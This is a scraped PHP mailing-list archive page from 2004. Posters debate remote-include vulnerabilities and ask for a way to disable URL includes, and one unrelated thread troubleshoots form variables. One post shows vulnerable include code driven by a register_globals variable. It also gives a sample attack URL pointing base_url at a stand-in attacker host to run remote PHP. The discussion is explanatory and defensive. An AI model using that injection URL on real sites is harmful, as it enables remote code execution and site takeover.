Re: [PHP] allow_url_fopen ini directive not enough
Ah OK. So the only only includes should be out of the web tree, or on a remote site? Nice one. Mike Ford wrote: To view the terms under which this email is distributed, please go to http://disclaimer.leedsmet.ac.uk/email.htm On 10 December 2004 22:07, Richard Lynch wrote: This is a MUCH BIGGER PROBLEM than remote include working or not. You've *GOT* to get those files *OUT* of the web-tree. The only files that belong in the web tree are those that should be surfed to. 1000% hear hear to that. Maybe you'd say I'm taking this to ludicrous extremes, but the *only* surfable PHP files on my site look like this: I don't even like having the explicit include_path setting there, but I don't currently have access on the server to set it any other way. One of these days I'll look to see if any of Chris Shifflet's resources on the subject are of use to me, but right now it suffices. Cheers! Mike - Mike Ford, Electronic Information Services Adviser, Learning Support Services, Learning & Information Services, JG125, James Graham Building, Leeds Metropolitan University, Headingley Campus, LEEDS, LS6 3QS, United Kingdom Email: [EMAIL PROTECTED] Tel: +44 113 283 2600 extn 4730 Fax: +44 113 283 3211 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] allow_url_fopen ini directive not enough
Greg Donald wrote: On Fri, 10 Dec 2004 22:00:43 +, KJ <[EMAIL PROTECTED]> wrote: 5. Joe Hacker has studied the script coz he's a tart that wants to piss people off and he has found a vunerability. 6. Joe Hacker uses the vunerability to change your account passwd. He then logs in as you and deletes all your files. He has access to your mysql password which was in the congif file of phpMyFantasticGuestbook Why would you allow your MySQL user to connect from anywhere besides your web server? Remote MySQL connections are a big no-no. No remote connection, quote: "Joe Hacker uses the vunerability to change your account passwd. He then logs in as you and deletes all your files". He's logged onto your box, local connection. and he deletes all your data, he then leaves a nice index.php in your account to say that he's been by. Sorry to hear that, I'd recommend you stop using phpMyFantasticGuestbook immediately. And anything else you don't feel paranoid about to audit. phpMyFantasticGuestbook doesn't actually exist, it was a scenario to try to explain the issue. Thanks. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] allow_url_fopen ini directive not enough
oidable, if it weren't then it would be a major exploit... that it is not. But it still remains an issue. So yes, instead of having a language level feature that could eliminate this problem let's rely on all of the programmers and web hosts. Thank you for the discussion. KJ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] allow_url_fopen ini directive not enough
OK, I don't think you've read my posts in much detail at all. I looks as though you have skimmed over them and got a pre-determined idea of my issue in your head. Not once have I mentioned anything about "customers" in my posts. I'm not a web host. I'm not talking about people who have access to my web server uploading malicious scripts; I know that if I give people that I don't trust access to my server then they could f**k things up... obviously. I'm not a script kiddie who wants to stop people using the mail() function or something like that, I'm talking about a real life vunerability. Let me try to paint another simple senario: 1. You have a shared hosting account with example.com hosted on it. 2. You want a guestbook setup on it, and you've found one that you like. 3. You install "phpMyFantasticGuestbook" onto your account. 4. It's a well used application and thus you don't go through the source to check for vunerabilities. 5. Joe Hacker has studied the script coz he's a tart that wants to piss people off and he has found a vunerability. 6. Joe Hacker uses the vunerability to change your account passwd. He then logs in as you and deletes all your files. He has access to your mysql password which was in the congif file of phpMyFantasticGuestbook and he deletes all your data, he then leaves a nice index.php in your account to say that he's been by. This is what I'm talking about, I hope this is clear. The vunerability I described in one of my previous posts. The "worry" that I'm expending comes from being hacked twice using this method, I think the amount of worry expended is in line with the amount of frustration that I have endured. KJ Richard Lynch wrote: Call me silly, but... If you don't check the source code, and you think they might be using include "http://";... What's the difference between that and not checking all the zillion things your customers might do that's about 100 X as stupid? Seems to me you're expending a fair amount of 'worry' over something that, given that you're not checking their source in the first place, is kind of meaningless... Not that I'm suggesting that you *SHOULD* be checking their source -- Only that the risk you take as part and parcel of your business is untrusted users putting code on your machine. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Question:maybe urldecode
Just want to double check that you're using the correct array in $_POST! Are you using ? If not then you should be using $_GET, not $_POST. $_SERVER['REQUEST_METHOD'] will have the method that you are using, remember to use the corresponding pre-defined variables. KJ Stuart Felenstein wrote: --- "Ford, Mike" <[EMAIL PROTECTED]> wrote: AARRGGHHH! Vague, generalized, woolly!! SHOW US the relevant bits of code. SHOW US what you get printed out, especially anything that isn't what you expect, and tell us exactly what you did expect. SPECIFICS, man, SPECIFICS!! SHOW US the form -- we can't even begin to guess what data your script will see without knowing what the form says. Preferably tell us *exactly* what each control on the form was set to when you submitted it. Each element takes the user input and passes it on to the results page. What I also want though it to put the querystring back into the search page and have the elements echo out the values chosen. Let me demonstrate with one element: '.$row['CareerCategories'].''; } ?> Now what I've added: $Ind = $_POST['Ind']; $queryString = ($_SERVER['QUERY_STRING']); What is in $queryString after this? var_dump() it and show us the result. This is the var_dump of the query string after I've made some selections in the page. string(80) "Ind%5B%5D=2&Ind%5B%5D=3&Ind%5B%5D=4&JTitle=Web&City=&Days=&Recs=15&Submit=Submit" Is it what you expect? If not, what *did* you expect? Yes, this is what I expect. What is in $_POST before you start the next batch of assignments? var_dump() Nothing is printing out on $_POST['var'] or $var s makes sense. I hope this is clearer with more relevant information. Stuart -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] allow_url_fopen ini directive not enough
Basically this particular case boils down to: "files that are included and should not a be called directly" should not be allowed to be called directly. You can do this at the application level whereby each included file checks whether it was called directly and refuse to run when that is so. Or you can do this on a system level and tell your webserver not to allow access to particular files or directories. Yes, you could do either of the above. I don't have an issue with solutions that PHP (or Apache) provide for avoiding this problem. I DO have an issue with the fact that this problem is caused by a single "feature" is probably not used by many and should be able to be turned off, much like register globals. Forget possible solutions and work arounds for one moment; when I download and install a popular application, I don't go through every bit of source code to check if these workarounds have been applied. I would much rather set a allow_url_include flag to "off", and not have to worry about that. There are plenty of things you need to worry about when hosting, and this would create one less. KJ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] allow_url_fopen ini directive not enough
OK, apologies on my part, I did not correctly explian the problem which can and has arisen from remote includes. I'll try to explain the problem that I have come across twice in the last couple of years both with popular software packages that I downloaded like thousands of others and both with exactly the same vunerability and both resulted in my site being comprimised and having to resort to backups. The vunerability occurred where both applications had a variable setting a base directory of the source code, which was used when including files throughout the application, i.e.: $base_url = '/home/example.com/www'; include_once ($base_url.'/config.php'); In config.php you would then have, for example: Now in each instance register globals was on and all that was needed to comprimise the site was to have a variable passed in the url to set the base url to a remote site, which in turn output php to execute, i.e.: http://example.com/config.php?base_url=http://myhacksite.example.com Now, you are correct that education on how to avoid this kind of issue is key, however that does not avoid the problem. Turning of register globals would prevent many of these attacks, however there are still many apps out there that require register globals to be on and there are other ways to use this exploit with them off. Now all I'm saying is that given the potential for damage and , from my point of view, the little improvement that this feature actually provides, why would you NOT have a way of disabling it. I would if I could, and I know of others who would as well. Any thoughts? KJ PS: If you gave someone that you didn't trust access to your scripts then you're asking for trouble, that was not my point and was not part of any kind of thinking towards this request. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
